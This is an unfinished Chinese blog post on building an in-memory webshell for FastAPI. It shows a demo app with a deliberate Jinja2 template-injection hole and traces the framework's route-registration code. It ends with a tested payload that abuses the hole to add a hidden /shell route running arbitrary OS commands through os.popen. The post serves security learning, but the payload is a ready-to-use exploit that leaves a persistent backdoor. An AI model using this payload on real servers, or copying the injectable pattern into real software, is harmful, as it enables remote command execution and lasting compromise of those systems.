FastAPI下的内存马(未完)

写在前面

前两天bao师傅出了fastapi的内存马,由于自己学过flask的内存马,所以参考了一篇文章很快就打通了!一开始想着原理应该都差不多吧,但是转念一想重要的应该是分析代码和探索的能力!自己这方面的能力比较弱,所以打算写篇文章学习一下(不能逃避)!

fastapi demo

fastapi其实就是python的一个框架,功能类似于是flask,都是用来创建web应用的!

一个简单的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from fastapi import FastAPI
from fastapi.responses import HTMLResponse
from jinja2 import Environment

app = FastAPI()
Jinja2 = Environment()

@app.get("/")
async def index():
return {"message": "Hello World"}

@app.get("/hack")
async def hack(username="Guest"):
output = Jinja2.from_string("Welcome " + username).render()
return HTMLResponse(content=output)

if __name__ == "__main__":
import uvicorn
uvicorn.run(app, port=8000)

app是FastAPI应用实例,是整个web应用的核心!你可以简单地理解成CPU,所以后面我们后面我们去调用FastAPI的一些方法啥的都是先去找它!

经典路线:路由添加函数

跟进过程出了点小插曲,好在bao告诉我动态跟进!花了25大洋不去上课整出来的!

首先明面上代码里面是通过get("/hack")这样的形式去添加路由的,但底层就如此吗?我们跟进get

继续跟进router

继续跟进的时候并没有发现get函数的定义,真奇怪!静态跟进老是直接到它父类里面去了!那就动态跟进吧

打好断点调试发现

self.router.get这个调用是APIRouter这个类的get方法,最后又调用了api_route继续跟进

这里闭包了返回的是被装饰了的函数,继续跟进add_api_route

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
def add_api_route(
self,
path: str,
endpoint: Callable[..., Any],
*,
response_model: Any = Default(None),
status_code: Optional[int] = None,
tags: Optional[List[Union[str, Enum]]] = None,
dependencies: Optional[Sequence[params.Depends]] = None,
summary: Optional[str] = None,
description: Optional[str] = None,
response_description: str = "Successful Response",
responses: Optional[Dict[Union[int, str], Dict[str, Any]]] = None,
deprecated: Optional[bool] = None,
methods: Optional[Union[Set[str], List[str]]] = None,
operation_id: Optional[str] = None,
response_model_include: Optional[IncEx] = None,
response_model_exclude: Optional[IncEx] = None,
response_model_by_alias: bool = True,
response_model_exclude_unset: bool = False,
response_model_exclude_defaults: bool = False,
response_model_exclude_none: bool = False,
include_in_schema: bool = True,
response_class: Union[Type[Response], DefaultPlaceholder] = Default(
JSONResponse
),
name: Optional[str] = None,
route_class_override: Optional[Type[APIRoute]] = None,
callbacks: Optional[List[BaseRoute]] = None,
openapi_extra: Optional[Dict[str, Any]] = None,
generate_unique_id_function: Union[
Callable[[APIRoute], str], DefaultPlaceholder
] = Default(generate_unique_id),
) -> None:
route_class = route_class_override or self.route_class
responses = responses or {}
combined_responses = {**self.responses, **responses}
current_response_class = get_value_or_default(
response_class, self.default_response_class
)
current_tags = self.tags.copy()
if tags:
current_tags.extend(tags)
current_dependencies = self.dependencies.copy()
if dependencies:
current_dependencies.extend(dependencies)
current_callbacks = self.callbacks.copy()
if callbacks:
current_callbacks.extend(callbacks)
current_generate_unique_id = get_value_or_default(
generate_unique_id_function, self.generate_unique_id_function
)
route = route_class(
self.prefix + path,
endpoint=endpoint,
response_model=response_model,
status_code=status_code,
tags=current_tags,
dependencies=current_dependencies,
summary=summary,
description=description,
response_description=response_description,
responses=combined_responses,
deprecated=deprecated or self.deprecated,
methods=methods,
operation_id=operation_id,
response_model_include=response_model_include,
response_model_exclude=response_model_exclude,
response_model_by_alias=response_model_by_alias,
response_model_exclude_unset=response_model_exclude_unset,
response_model_exclude_defaults=response_model_exclude_defaults,
response_model_exclude_none=response_model_exclude_none,
include_in_schema=include_in_schema and self.include_in_schema,
response_class=current_response_class,
name=name,
dependency_overrides_provider=self.dependency_overrides_provider,
callbacks=current_callbacks,
openapi_extra=openapi_extra,
generate_unique_id_function=current_generate_unique_id,
)
self.routes.append(route)

不用全部看懂,只需要知道这个add_api_route可以用来添加路由就好了!构造payload

1
lipsum.__globals__['__builtins__']['eval']("sys.modules['__main__'].__dict__['app'].router.add_api_route('/shell',lambda cmd='whoami':__import__('os').popen(cmd).read(),methods=['GET'])")

这样就好了!我测过打通了!

未完待续